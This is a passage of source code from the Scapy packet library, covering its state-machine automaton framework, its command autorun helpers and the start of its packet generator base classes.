= list(inputs) self.remain = remain self.available_lock = threading.Lock() self.available_lock.acquire() self._ended = False def process(self): """Entry point of SelectableSelector""" if WINDOWS: select_inputs = [] for i in self.inputs: if not isinstance(i, SelectableObject): warning("Unknown ignored object type: %s", type(i)) elif i.__selectable_force_select__: # Then use select.select select_inputs.append(i) elif not self.remain and i.check_recv(): self.results.append(i) elif self.remain: i.wait_return(self._exit_door) if select_inputs: # Use default select function self.results.extend(select(select_inputs, [], [], self.remain)[0]) # noqa: E501 if not self.remain: return self.results threading.Thread(target=self._timeout_thread, args=(self.remain,)).start() # noqa: E501 if not self._ended: self.available_lock.acquire() return self.results else: r, _, _ = select(self.inputs, [], [], self.remain) return r def select_objects(inputs, remain): """ Select SelectableObject objects. Same than: ``select.select([inputs], [], [], remain)`` But also works on Windows, only on SelectableObject. :param inputs: objects to process :param remain: timeout. If 0, return []. """ handler = SelectableSelector(inputs, remain) return handler.process() class ObjectPipe(SelectableObject): def __init__(self): self.closed = False self.rd, self.wr = os.pipe() self.queue = deque() SelectableObject.__init__(self) def fileno(self): return self.rd def check_recv(self): return len(self.queue) > 0 def send(self, obj): self.queue.append(obj) os.write(self.wr, b"X") self.call_release() def write(self, obj): self.send(obj) def flush(self): pass def recv(self, n=0): if self.closed: if self.check_recv(): return self.queue.popleft() return None os.read(self.rd, 1) return self.queue.popleft() def read(self, n=0): return self.recv(n) def close(self): if not self.closed: self.closed = True os.close(self.rd) os.close(self.wr) self.queue.clear() def __del__(self): self.close() @staticmethod def select(sockets, remain=conf.recv_poll_rate): # Only handle ObjectPipes results = [] for s in sockets: if s.closed: results.append(s) if results: return results, None return select_objects(sockets, remain), None class Message: def __init__(self, **args): self.__dict__.update(args) def __repr__(self): return "" % " ".join("%s=%r" % (k, v) for (k, v) in six.iteritems(self.__dict__) # noqa: E501 if not k.startswith("_")) class _instance_state: def __init__(self, instance): self.__self__ = instance.__self__ self.__func__ = instance.__func__ self.__self__.__class__ = instance.__self__.__class__ def __getattr__(self, attr): return getattr(self.__func__, attr) def __call__(self, *args, **kargs): return self.__func__(self.__self__, *args, **kargs) def breaks(self): return self.__self__.add_breakpoints(self.__func__) def intercepts(self): return self.__self__.add_interception_points(self.__func__) def unbreaks(self): return self.__self__.remove_breakpoints(self.__func__) def unintercepts(self): return self.__self__.remove_interception_points(self.__func__) ############## # Automata # ############## class ATMT: STATE = "State" ACTION = "Action" CONDITION = "Condition" RECV = "Receive condition" TIMEOUT = "Timeout condition" IOEVENT = "I/O event" class NewStateRequested(Exception): def __init__(self, state_func, automaton, *args, **kargs): self.func = state_func self.state = state_func.atmt_state self.initial = state_func.atmt_initial self.error = state_func.atmt_error self.final = state_func.atmt_final Exception.__init__(self, "Request state [%s]" % self.state) self.automaton = automaton self.args = args self.kargs = kargs self.action_parameters() # init action parameters def action_parameters(self, *args, **kargs): self.action_args = args self.action_kargs = kargs return self def run(self): return self.func(self.automaton, *self.args, **self.kargs) def __repr__(self): return "NewStateRequested(%s)" % self.state @staticmethod def state(initial=0, final=0, error=0): def deco(f, initial=initial, final=final): f.atmt_type = ATMT.STATE f.atmt_state = f.__name__ f.atmt_initial = initial f.atmt_final = final f.atmt_error = error def state_wrapper(self, *args, **kargs): return ATMT.NewStateRequested(f, self, *args, **kargs) state_wrapper.__name__ = "%s_wrapper" % f.__name__ state_wrapper.atmt_type = ATMT.STATE state_wrapper.atmt_state = f.__name__ state_wrapper.atmt_initial = initial state_wrapper.atmt_final = final state_wrapper.atmt_error = error state_wrapper.atmt_origfunc = f return state_wrapper return deco @staticmethod def action(cond, prio=0): def deco(f, cond=cond): if not hasattr(f, "atmt_type"): f.atmt_cond = {} f.atmt_type = ATMT.ACTION f.atmt_cond[cond.atmt_condname] = prio return f return deco @staticmethod def condition(state, prio=0): def deco(f, state=state): f.atmt_type = ATMT.CONDITION f.atmt_state = state.atmt_state f.atmt_condname = f.__name__ f.atmt_prio = prio return f return deco @staticmethod def receive_condition(state, prio=0): def deco(f, state=state): f.atmt_type = ATMT.RECV f.atmt_state = state.atmt_state f.atmt_condname = f.__name__ f.atmt_prio = prio return f return deco @staticmethod def ioevent(state, name, prio=0, as_supersocket=None): def deco(f, state=state): f.atmt_type = ATMT.IOEVENT f.atmt_state = state.atmt_state f.atmt_condname = f.__name__ f.atmt_ioname = name f.atmt_prio = prio f.atmt_as_supersocket = as_supersocket return f return deco @staticmethod def timeout(state, timeout): def deco(f, state=state, timeout=timeout): f.atmt_type = ATMT.TIMEOUT f.atmt_state = state.atmt_state f.atmt_timeout = timeout f.atmt_condname = f.__name__ return f return deco class _ATMT_Command: RUN = "RUN" NEXT = "NEXT" FREEZE = "FREEZE" STOP = "STOP" END = "END" EXCEPTION = "EXCEPTION" SINGLESTEP = "SINGLESTEP" BREAKPOINT = "BREAKPOINT" INTERCEPT = "INTERCEPT" ACCEPT = "ACCEPT" REPLACE = "REPLACE" REJECT = "REJECT" class _ATMT_supersocket(SuperSocket, SelectableObject): def __init__(self, name, ioevent, automaton, proto, *args, **kargs): SelectableObject.__init__(self) self.name = name self.ioevent = ioevent self.proto = proto # write, read self.spa, self.spb = ObjectPipe(), ObjectPipe() # Register recv hook self.spb.register_hook(self.call_release) kargs["external_fd"] = {ioevent: (self.spa, self.spb)} kargs["is_atmt_socket"] = True self.atmt = automaton(*args, **kargs) self.atmt.runbg() def fileno(self): return self.spb.fileno() def send(self, s): if not isinstance(s, bytes): s = bytes(s) return self.spa.send(s) def check_recv(self): return self.spb.check_recv() def recv(self, n=MTU): r = self.spb.recv(n) if self.proto is not None: r = self.proto(r) return r def close(self): if not self.closed: self.atmt.stop() self.spa.close() self.spb.close() self.closed = True @staticmethod def select(sockets, remain=conf.recv_poll_rate): return select_objects(sockets, remain), None class _ATMT_to_supersocket: def __init__(self, name, ioevent, automaton): self.name = name self.ioevent = ioevent self.automaton = automaton def __call__(self, proto, *args, **kargs): return _ATMT_supersocket( self.name, self.ioevent, self.automaton, proto, *args, **kargs ) class Automaton_metaclass(type): def __new__(cls, name, bases, dct): cls = super(Automaton_metaclass, cls).__new__(cls, name, bases, dct) cls.states = {} cls.state = None cls.recv_conditions = {} cls.conditions = {} cls.ioevents = {} cls.timeout = {} cls.actions = {} cls.initial_states = [] cls.ionames = [] cls.iosupersockets = [] members = {} classes = [cls] while classes: c = classes.pop(0) # order is important to avoid breaking method overloading # noqa: E501 classes += list(c.__bases__) for k, v in six.iteritems(c.__dict__): if k not in members: members[k] = v decorated = [v for v in six.itervalues(members) if isinstance(v, types.FunctionType) and hasattr(v, "atmt_type")] # noqa: E501 for m in decorated: if m.atmt_type == ATMT.STATE: s = m.atmt_state cls.states[s] = m cls.recv_conditions[s] = [] cls.ioevents[s] = [] cls.conditions[s] = [] cls.timeout[s] = [] if m.atmt_initial: cls.initial_states.append(m) elif m.atmt_type in [ATMT.CONDITION, ATMT.RECV, ATMT.TIMEOUT, ATMT.IOEVENT]: # noqa: E501 cls.actions[m.atmt_condname] = [] for m in decorated: if m.atmt_type == ATMT.CONDITION: cls.conditions[m.atmt_state].append(m) elif m.atmt_type == ATMT.RECV: cls.recv_conditions[m.atmt_state].append(m) elif m.atmt_type == ATMT.IOEVENT: cls.ioevents[m.atmt_state].append(m) cls.ionames.append(m.atmt_ioname) if m.atmt_as_supersocket is not None: cls.iosupersockets.append(m) elif m.atmt_type == ATMT.TIMEOUT: cls.timeout[m.atmt_state].append((m.atmt_timeout, m)) elif m.atmt_type == ATMT.ACTION: for c in m.atmt_cond: cls.actions[c].append(m) for v in six.itervalues(cls.timeout): v.sort(key=lambda x: x[0]) v.append((None, None)) for v in itertools.chain(six.itervalues(cls.conditions), six.itervalues(cls.recv_conditions), six.itervalues(cls.ioevents)): v.sort(key=lambda x: x.atmt_prio) for condname, actlst in six.iteritems(cls.actions): actlst.sort(key=lambda x: x.atmt_cond[condname]) for ioev in cls.iosupersockets: setattr(cls, ioev.atmt_as_supersocket, _ATMT_to_supersocket(ioev.atmt_as_supersocket, ioev.atmt_ioname, cls)) # noqa: E501 return cls def build_graph(self): s = 'digraph "%s" {\n' % self.__class__.__name__ se = "" # Keep initial nodes at the beginning for better rendering for st in six.itervalues(self.states): if st.atmt_initial: se = ('\t"%s" [ style=filled, fillcolor=blue, shape=box, root=true];\n' % st.atmt_state) + se # noqa: E501 elif st.atmt_final: se += '\t"%s" [ style=filled, fillcolor=green, shape=octagon ];\n' % st.atmt_state # noqa: E501 elif st.atmt_error: se += '\t"%s" [ style=filled, fillcolor=red, shape=octagon ];\n' % st.atmt_state # noqa: E501 s += se for st in six.itervalues(self.states): for n in st.atmt_origfunc.__code__.co_names + st.atmt_origfunc.__code__.co_consts: # noqa: E501 if n in self.states: s += '\t"%s" -> "%s" [ color=green ];\n' % (st.atmt_state, n) # noqa: E501 for c, k, v in ([("purple", k, v) for k, v in self.conditions.items()] + # noqa: E501 [("red", k, v) for k, v in self.recv_conditions.items()] + # noqa: E501 [("orange", k, v) for k, v in self.ioevents.items()]): for f in v: for n in f.__code__.co_names + f.__code__.co_consts: if n in self.states: line = f.atmt_condname for x in self.actions[f.atmt_condname]: line += "\\l>[%s]" % x.__name__ s += '\t"%s" -> "%s" [label="%s", color=%s];\n' % (k, n, line, c) # noqa: E501 for k, v in six.iteritems(self.timeout): for t, f in v: if f is None: continue for n in f.__code__.co_names + f.__code__.co_consts: if n in self.states: line = "%s/%.1fs" % (f.atmt_condname, t) for x in self.actions[f.atmt_condname]: line += "\\l>[%s]" % x.__name__ s += '\t"%s" -> "%s" [label="%s",color=blue];\n' % (k, n, line) # noqa: E501 s += "}\n" return s def graph(self, **kargs): s = self.build_graph() return do_graph(s, **kargs) class Automaton(six.with_metaclass(Automaton_metaclass)): def parse_args(self, debug=0, store=1, **kargs): self.debug_level = debug self.socket_kargs = kargs self.store_packets = store def master_filter(self, pkt): return True def my_send(self, pkt): self.send_sock.send(pkt) # Utility classes and exceptions class _IO_fdwrapper(SelectableObject): def __init__(self, rd, wr): if rd is not None and not isinstance(rd, (int, ObjectPipe)): rd = rd.fileno() if wr is not None and not isinstance(wr, (int, ObjectPipe)): wr = wr.fileno() self.rd = rd self.wr = wr SelectableObject.__init__(self) def fileno(self): if isinstance(self.rd, ObjectPipe): return self.rd.fileno() return self.rd def check_recv(self): return self.rd.check_recv() def read(self, n=65535): if isinstance(self.rd, ObjectPipe): return self.rd.recv(n) return os.read(self.rd, n) def write(self, msg): self.call_release() if isinstance(self.wr, ObjectPipe): self.wr.send(msg) return return os.write(self.wr, msg) def recv(self, n=65535): return self.read(n) def send(self, msg): return self.write(msg) class _IO_mixer(SelectableObject): def __init__(self, rd, wr): self.rd = rd self.wr = wr SelectableObject.__init__(self) def fileno(self): if isinstance(self.rd, int): return self.rd return self.rd.fileno() def check_recv(self): return self.rd.check_recv() def recv(self, n=None): return self.rd.recv(n) def read(self, n=None): return self.recv(n) def send(self, msg): self.wr.send(msg) return self.call_release() def write(self, msg): return self.send(msg) class AutomatonException(Exception): def __init__(self, msg, state=None, result=None): Exception.__init__(self, msg) self.state = state self.result = result class AutomatonError(AutomatonException): pass class ErrorState(AutomatonException): pass class Stuck(AutomatonException): pass class AutomatonStopped(AutomatonException): pass class Breakpoint(AutomatonStopped): pass class Singlestep(AutomatonStopped): pass class InterceptionPoint(AutomatonStopped): def __init__(self, msg, state=None, result=None, packet=None): Automaton.AutomatonStopped.__init__(self, msg, state=state, result=result) # noqa: E501 self.packet = packet class CommandMessage(AutomatonException): pass # Services def debug(self, lvl, msg): if self.debug_level >= lvl: log_runtime.debug(msg) def send(self, pkt): if self.state.state in self.interception_points: self.debug(3, "INTERCEPT: packet intercepted: %s" % pkt.summary()) self.intercepted_packet = pkt cmd = Message(type=_ATMT_Command.INTERCEPT, state=self.state, pkt=pkt) # noqa: E501 self.cmdout.send(cmd) cmd = self.cmdin.recv() self.intercepted_packet = None if cmd.type == _ATMT_Command.REJECT: self.debug(3, "INTERCEPT: packet rejected") return elif cmd.type == _ATMT_Command.REPLACE: pkt = cmd.pkt self.debug(3, "INTERCEPT: packet replaced by: %s" % pkt.summary()) # noqa: E501 elif cmd.type == _ATMT_Command.ACCEPT: self.debug(3, "INTERCEPT: packet accepted") else: raise self.AutomatonError("INTERCEPT: unknown verdict: %r" % cmd.type) # noqa: E501 self.my_send(pkt) self.debug(3, "SENT : %s" % pkt.summary()) if self.store_packets: self.packets.append(pkt.copy()) # Internals def __init__(self, *args, **kargs): external_fd = kargs.pop("external_fd", {}) self.send_sock_class = kargs.pop("ll", conf.L3socket) self.recv_sock_class = kargs.pop("recvsock", conf.L2listen) self.is_atmt_socket = kargs.pop("is_atmt_socket", False) self.started = threading.Lock() self.threadid = None self.breakpointed = None self.breakpoints = set() self.interception_points = set() self.intercepted_packet = None self.debug_level = 0 self.init_args = args self.init_kargs = kargs self.io = type.__new__(type, "IOnamespace", (), {}) self.oi = type.__new__(type, "IOnamespace", (), {}) self.cmdin = ObjectPipe() self.cmdout = ObjectPipe() self.ioin = {} self.ioout = {} for n in self.ionames: extfd = external_fd.get(n) if not isinstance(extfd, tuple): extfd = (extfd, extfd) ioin, ioout = extfd if ioin is None: ioin = ObjectPipe() elif not isinstance(ioin, SelectableObject): ioin = self._IO_fdwrapper(ioin, None) if ioout is None: ioout = ObjectPipe() elif not isinstance(ioout, SelectableObject): ioout = self._IO_fdwrapper(None, ioout) self.ioin[n] = ioin self.ioout[n] = ioout ioin.ioname = n ioout.ioname = n setattr(self.io, n, self._IO_mixer(ioout, ioin)) setattr(self.oi, n, self._IO_mixer(ioin, ioout)) for stname in self.states: setattr(self, stname, _instance_state(getattr(self, stname))) self.start() def __iter__(self): return self def __del__(self): self.stop() def _run_condition(self, cond, *args, **kargs): try: self.debug(5, "Trying %s [%s]" % (cond.atmt_type, cond.atmt_condname)) # noqa: E501 cond(self, *args, **kargs) except ATMT.NewStateRequested as state_req: self.debug(2, "%s [%s] taken to state [%s]" % (cond.atmt_type, cond.atmt_condname, state_req.state)) # noqa: E501 if cond.atmt_type == ATMT.RECV: if self.store_packets: self.packets.append(args[0]) for action in self.actions[cond.atmt_condname]: self.debug(2, " + Running action [%s]" % action.__name__) action(self, *state_req.action_args, **state_req.action_kargs) raise except Exception as e: self.debug(2, "%s [%s] raised exception [%s]" % (cond.atmt_type, cond.atmt_condname, e)) # noqa: E501 raise else: self.debug(2, "%s [%s] not taken" % (cond.atmt_type, cond.atmt_condname)) # noqa: E501 def _do_start(self, *args, **kargs): ready = threading.Event() _t = threading.Thread(target=self._do_control, args=(ready,) + (args), kwargs=kargs) # noqa: E501 _t.setDaemon(True) _t.start() ready.wait() def _do_control(self, ready, *args, **kargs): with self.started: self.threadid = threading.currentThread().ident # Update default parameters a = args + self.init_args[len(args):] k = self.init_kargs.copy() k.update(kargs) self.parse_args(*a, **k) # Start the automaton self.state = self.initial_states[0](self) self.send_sock = self.send_sock_class(**self.socket_kargs) self.listen_sock = self.recv_sock_class(**self.socket_kargs) self.packets = PacketList(name="session[%s]" % self.__class__.__name__) # noqa: E501 singlestep = True iterator = self._do_iter() self.debug(3, "Starting control thread [tid=%i]" % self.threadid) # Sync threads ready.set() try: while True: c = self.cmdin.recv() self.debug(5, "Received command %s" % c.type) if c.type == _ATMT_Command.RUN: singlestep = False elif c.type == _ATMT_Command.NEXT: singlestep = True elif c.type == _ATMT_Command.FREEZE: continue elif c.type == _ATMT_Command.STOP: break while True: state = next(iterator) if isinstance(state, self.CommandMessage): break elif isinstance(state, self.Breakpoint): c = Message(type=_ATMT_Command.BREAKPOINT, state=state) # noqa: E501 self.cmdout.send(c) break if singlestep: c = Message(type=_ATMT_Command.SINGLESTEP, state=state) # noqa: E501 self.cmdout.send(c) break except (StopIteration, RuntimeError): c = Message(type=_ATMT_Command.END, result=self.final_state_output) self.cmdout.send(c) except Exception as e: exc_info = sys.exc_info() self.debug(3, "Transferring exception from tid=%i:\n%s" % (self.threadid, traceback.format_exception(*exc_info))) # noqa: E501 m = Message(type=_ATMT_Command.EXCEPTION, exception=e, exc_info=exc_info) # noqa: E501 self.cmdout.send(m) self.debug(3, "Stopping control thread (tid=%i)" % self.threadid) self.threadid = None def _do_iter(self): while True: try: self.debug(1, "## state=[%s]" % self.state.state) # Entering a new state. First, call new state function if self.state.state in self.breakpoints and self.state.state != self.breakpointed: # noqa: E501 self.breakpointed = self.state.state yield self.Breakpoint("breakpoint triggered on state %s" % self.state.state, # noqa: E501 state=self.state.state) self.breakpointed = None state_output = self.state.run() if self.state.error: raise self.ErrorState("Reached %s: [%r]" % (self.state.state, state_output), # noqa: E501 result=state_output, state=self.state.state) # noqa: E501 if self.state.final: self.final_state_output = state_output return if state_output is None: state_output = () elif not isinstance(state_output, list): state_output = state_output, # Then check immediate conditions for cond in self.conditions[self.state.state]: self._run_condition(cond, *state_output) # If still there and no conditions left, we are stuck! if (len(self.recv_conditions[self.state.state]) == 0 and len(self.ioevents[self.state.state]) == 0 and len(self.timeout[self.state.state]) == 1): raise self.Stuck("stuck in [%s]" % self.state.state, state=self.state.state, result=state_output) # noqa: E501 # Finally listen and pay attention to timeouts expirations = iter(self.timeout[self.state.state]) next_timeout, timeout_func = next(expirations) t0 = time.time() fds = [self.cmdin] if len(self.recv_conditions[self.state.state]) > 0: fds.append(self.listen_sock) for ioev in self.ioevents[self.state.state]: fds.append(self.ioin[ioev.atmt_ioname]) while True: t = time.time() - t0 if next_timeout is not None: if next_timeout <= t: self._run_condition(timeout_func, *state_output) next_timeout, timeout_func = next(expirations) if next_timeout is None: remain = None else: remain = next_timeout - t self.debug(5, "Select on %r" % fds) r = select_objects(fds, remain) self.debug(5, "Selected %r" % r) for fd in r: self.debug(5, "Looking at %r" % fd) if fd == self.cmdin: yield self.CommandMessage("Received command message") # noqa: E501 elif fd == self.listen_sock: pkt = self.listen_sock.recv(MTU) if pkt is not None: if self.master_filter(pkt): self.debug(3, "RECVD: %s" % pkt.summary()) # noqa: E501 for rcvcond in self.recv_conditions[self.state.state]: # noqa: E501 self._run_condition(rcvcond, pkt, *state_output) # noqa: E501 else: self.debug(4, "FILTR: %s" % pkt.summary()) # noqa: E501 else: self.debug(3, "IOEVENT on %s" % fd.ioname) for ioevt in self.ioevents[self.state.state]: if ioevt.atmt_ioname == fd.ioname: self._run_condition(ioevt, fd, *state_output) # noqa: E501 except ATMT.NewStateRequested as state_req: self.debug(2, "switching from [%s] to [%s]" % (self.state.state, state_req.state)) # noqa: E501 self.state = state_req yield state_req # Public API def add_interception_points(self, *ipts): for ipt in ipts: if hasattr(ipt, "atmt_state"): ipt = ipt.atmt_state self.interception_points.add(ipt) def remove_interception_points(self, *ipts): for ipt in ipts: if hasattr(ipt, "atmt_state"): ipt = ipt.atmt_state self.interception_points.discard(ipt) def add_breakpoints(self, *bps): for bp in bps: if hasattr(bp, "atmt_state"): bp = bp.atmt_state self.breakpoints.add(bp) def remove_breakpoints(self, *bps): for bp in bps: if hasattr(bp, "atmt_state"): bp = bp.atmt_state self.breakpoints.discard(bp) def start(self, *args, **kargs): if not self.started.locked(): self._do_start(*args, **kargs) def run(self, resume=None, wait=True): if resume is None: resume = Message(type=_ATMT_Command.RUN) self.cmdin.send(resume) if wait: try: c = self.cmdout.recv() except KeyboardInterrupt: self.cmdin.send(Message(type=_ATMT_Command.FREEZE)) return if c.type == _ATMT_Command.END: return c.result elif c.type == _ATMT_Command.INTERCEPT: raise self.InterceptionPoint("packet intercepted", state=c.state.state, packet=c.pkt) # noqa: E501 elif c.type == _ATMT_Command.SINGLESTEP: raise self.Singlestep("singlestep state=[%s]" % c.state.state, state=c.state.state) # noqa: E501 elif c.type == _ATMT_Command.BREAKPOINT: raise self.Breakpoint("breakpoint triggered on state [%s]" % c.state.state, state=c.state.state) # noqa: E501 elif c.type == _ATMT_Command.EXCEPTION: six.reraise(c.exc_info[0], c.exc_info[1], c.exc_info[2]) def runbg(self, resume=None, wait=False): self.run(resume, wait) def next(self): return self.run(resume=Message(type=_ATMT_Command.NEXT)) __next__ = next def stop(self): self.cmdin.send(Message(type=_ATMT_Command.STOP)) with self.started: # Flush command pipes while True: r = select_objects([self.cmdin, self.cmdout], 0) if not r: break for fd in r: fd.recv() def restart(self, *args, **kargs): self.stop() self.start(*args, **kargs) def accept_packet(self, pkt=None, wait=False): rsm = Message() if pkt is None: rsm.type = _ATMT_Command.ACCEPT else: rsm.type = _ATMT_Command.REPLACE rsm.pkt = pkt return self.run(resume=rsm, wait=wait) def reject_packet(self, wait=False): rsm = Message(type=_ATMT_Command.REJECT) return self.run(resume=rsm, wait=wait) scapy-2.4.4/scapy/autorun.py000066400000000000000000000137311372370053500160400ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Run commands when the Scapy interpreter starts. """ from __future__ import print_function import code import sys import importlib from scapy.config import conf from scapy.themes import NoTheme, DefaultTheme, HTMLTheme2, LatexTheme2 from scapy.error import Scapy_Exception from scapy.utils import tex_escape import scapy.modules.six as six ######################### # Autorun stuff # ######################### class StopAutorun(Scapy_Exception): code_run = "" class ScapyAutorunInterpreter(code.InteractiveInterpreter): def __init__(self, *args, **kargs): code.InteractiveInterpreter.__init__(self, *args, **kargs) self.error = 0 def showsyntaxerror(self, *args, **kargs): self.error = 1 return code.InteractiveInterpreter.showsyntaxerror(self, *args, **kargs) # noqa: E501 def showtraceback(self, *args, **kargs): self.error = 1 exc_type, exc_value, exc_tb = sys.exc_info() if isinstance(exc_value, StopAutorun): raise exc_value return code.InteractiveInterpreter.showtraceback(self, *args, **kargs) def autorun_commands(cmds, my_globals=None, ignore_globals=None, verb=None): sv = conf.verb try: try: if my_globals is None: my_globals = importlib.import_module(".all", "scapy").__dict__ if ignore_globals: for ig in ignore_globals: my_globals.pop(ig, None) if verb is not None: conf.verb = verb interp = ScapyAutorunInterpreter(my_globals) cmd = "" cmds = cmds.splitlines() cmds.append("") # ensure we finish multi-line commands cmds.reverse() six.moves.builtins.__dict__["_"] = None while True: if cmd: sys.stderr.write(sys.__dict__.get("ps2", "... ")) else: sys.stderr.write(str(sys.__dict__.get("ps1", sys.ps1))) line = cmds.pop() print(line) cmd += "\n" + line if interp.runsource(cmd): continue if interp.error: return 0 cmd = "" if len(cmds) <= 1: break except SystemExit: pass finally: conf.verb = sv return _ # noqa: F821 class StringWriter(object): """Util to mock sys.stdout and sys.stderr, and store their output in a 's' var.""" def __init__(self, debug=None): self.s = "" self.debug = debug def write(self, x): if self.debug: self.debug.write(x) self.s += x def flush(self): if self.debug: self.debug.flush() def autorun_get_interactive_session(cmds, **kargs): """Create an interactive session and execute the commands passed as "cmds" and return all output :param cmds: a list of commands to run :returns: (output, returned) contains both sys.stdout and sys.stderr logs """ sstdout, sstderr = sys.stdout, sys.stderr sw = StringWriter() try: try: sys.stdout = sys.stderr = sw res = autorun_commands(cmds, **kargs) except StopAutorun as e: e.code_run = sw.s raise finally: sys.stdout, sys.stderr = sstdout, sstderr return sw.s, res def autorun_get_interactive_live_session(cmds, **kargs): """Create an interactive session and execute the commands passed as "cmds" and return all output :param cmds: a list of commands to run :returns: (output, returned) contains both sys.stdout and sys.stderr logs """ sstdout, sstderr = sys.stdout, sys.stderr sw = StringWriter(debug=sstdout) try: try: sys.stdout = sys.stderr = sw res = autorun_commands(cmds, **kargs) except StopAutorun as e: e.code_run = sw.s raise finally: sys.stdout, sys.stderr = sstdout, sstderr return sw.s, res def autorun_get_text_interactive_session(cmds, **kargs): ct = conf.color_theme try: conf.color_theme = NoTheme() s, res = autorun_get_interactive_session(cmds, **kargs) finally: conf.color_theme = ct return s, res def autorun_get_live_interactive_session(cmds, **kargs): ct = conf.color_theme try: conf.color_theme = DefaultTheme() s, res = autorun_get_interactive_live_session(cmds, **kargs) finally: conf.color_theme = ct return s, res def autorun_get_ansi_interactive_session(cmds, **kargs): ct = conf.color_theme try: conf.color_theme = DefaultTheme() s, res = autorun_get_interactive_session(cmds, **kargs) finally: conf.color_theme = ct return s, res def autorun_get_html_interactive_session(cmds, **kargs): ct = conf.color_theme to_html = lambda s: s.replace("<", "<").replace(">", ">").replace("#[#", "<").replace("#]#", ">") # noqa: E501 try: try: conf.color_theme = HTMLTheme2() s, res = autorun_get_interactive_session(cmds, **kargs) except StopAutorun as e: e.code_run = to_html(e.code_run) raise finally: conf.color_theme = ct return to_html(s), res def autorun_get_latex_interactive_session(cmds, **kargs): ct = conf.color_theme to_latex = lambda s: tex_escape(s).replace("@[@", "{").replace("@]@", "}").replace("@`@", "\\") # noqa: E501 try: try: conf.color_theme = LatexTheme2() s, res = autorun_get_interactive_session(cmds, **kargs) except StopAutorun as e: e.code_run = to_latex(e.code_run) raise finally: conf.color_theme = ct return to_latex(s), res scapy-2.4.4/scapy/base_classes.py000066400000000000000000000263101372370053500167670ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Generators and packet meta classes. """ ################ # Generators # ################ from __future__ import absolute_import from functools import reduce import operator import os import re import random import socket import subprocess import types from scapy.consts import WINDOWS from scapy.modules.six.moves import range class Gen(object): __slots__ = [] def __iter__(self): return iter([]) def __iterlen__(self): return sum(1 for _ in iter(self)) def _get_values(value): """Generate a range object from (start, stop[, step]) tuples, or return value. """ if (isinstance(value, tuple) and (2 <= len(value) <= 3) and all(hasattr(i, "__int__") for i in value)): # We use values[1] + 1 as stop value for (x)range to maintain # the behavior of using tuples as field `values` return range(*((int(value[0]), int(value[1]) + 1) + tuple(int(v) for v in value[2:]))) return value class SetGen(Gen): def __init__(self, values, _iterpacket=1): self._iterpacket = _iterpacket if isinstance(values, (list, BasePacketList)): self.values = [_get_values(val) for val in values] else: self.values = [_get_values(values)] def transf(self, element): return element def __iter__(self): for i in self.values: if (isinstance(i, Gen) and (self._iterpacket or not isinstance(i, BasePacket))) or ( isinstance(i, (range, types.GeneratorType))): for j in i: yield j else: yield i def __repr__(self): return "" % self.values class Net(Gen): """Generate a list of IPs from a network address or a name""" name = "ip" ip_regex = re.compile(r"^(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)\.(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)\.(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)\.(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)(/[0-3]?[0-9])?$") # noqa: E501 @staticmethod def _parse_digit(a, netmask): netmask = min(8, max(netmask, 0)) if a == "*": a = (0, 256) elif a.find("-") >= 0: x, y = [int(d) for d in a.split('-')] if x > y: y = x a = (x & (0xff << netmask), max(y, (x | (0xff >> (8 - netmask)))) + 1) # noqa: E501 else: a = (int(a) & (0xff << netmask), (int(a) | (0xff >> (8 - netmask))) + 1) # noqa: E501 return a @classmethod def _parse_net(cls, net): tmp = net.split('/') + ["32"] if not cls.ip_regex.match(net): tmp[0] = socket.gethostbyname(tmp[0]) netmask = int(tmp[1]) ret_list = [cls._parse_digit(x, y - netmask) for (x, y) in zip(tmp[0].split('.'), [8, 16, 24, 32])] # noqa: E501 return ret_list, netmask def __init__(self, net): self.repr = net self.parsed, self.netmask = self._parse_net(net) def __str__(self): return next(self.__iter__(), None) def __iter__(self): for d in range(*self.parsed[3]): for c in range(*self.parsed[2]): for b in range(*self.parsed[1]): for a in range(*self.parsed[0]): yield "%i.%i.%i.%i" % (a, b, c, d) def __iterlen__(self): return reduce(operator.mul, ((y - x) for (x, y) in self.parsed), 1) def choice(self): return ".".join(str(random.randint(v[0], v[1] - 1)) for v in self.parsed) # noqa: E501 def __repr__(self): return "Net(%r)" % self.repr def __eq__(self, other): if not other: return False if hasattr(other, "parsed"): p2 = other.parsed else: p2, nm2 = self._parse_net(other) return self.parsed == p2 def __ne__(self, other): # Python 2.7 compat return not self == other __hash__ = None def __contains__(self, other): if hasattr(other, "parsed"): p2 = other.parsed else: p2, nm2 = self._parse_net(other) return all(a1 <= a2 and b1 >= b2 for (a1, b1), (a2, b2) in zip(self.parsed, p2)) # noqa: E501 def __rcontains__(self, other): return self in self.__class__(other) class OID(Gen): name = "OID" def __init__(self, oid): self.oid = oid self.cmpt = [] fmt = [] for i in oid.split("."): if "-" in i: fmt.append("%i") self.cmpt.append(tuple(map(int, i.split("-")))) else: fmt.append(i) self.fmt = ".".join(fmt) def __repr__(self): return "OID(%r)" % self.oid def __iter__(self): ii = [k[0] for k in self.cmpt] while True: yield self.fmt % tuple(ii) i = 0 while True: if i >= len(ii): return if ii[i] < self.cmpt[i][1]: ii[i] += 1 break else: ii[i] = self.cmpt[i][0] i += 1 def __iterlen__(self): return reduce(operator.mul, (max(y - x, 0) + 1 for (x, y) in self.cmpt), 1) # noqa: E501 ###################################### # Packet abstract and base classes # ###################################### class Packet_metaclass(type): def __new__(cls, name, bases, dct): if "fields_desc" in dct: # perform resolution of references to other packets # noqa: E501 current_fld = dct["fields_desc"] resolved_fld = [] for f in current_fld: if isinstance(f, Packet_metaclass): # reference to another fields_desc # noqa: E501 for f2 in f.fields_desc: resolved_fld.append(f2) else: resolved_fld.append(f) else: # look for a fields_desc in parent classes resolved_fld = None for b in bases: if hasattr(b, "fields_desc"): resolved_fld = b.fields_desc break if resolved_fld: # perform default value replacements final_fld = [] for f in resolved_fld: if f.name in dct: f = f.copy() f.default = dct[f.name] del(dct[f.name]) final_fld.append(f) dct["fields_desc"] = final_fld dct.setdefault("__slots__", []) for attr in ["name", "overload_fields"]: try: dct["_%s" % attr] = dct.pop(attr) except KeyError: pass newcls = super(Packet_metaclass, cls).__new__(cls, name, bases, dct) newcls.__all_slots__ = set( attr for cls in 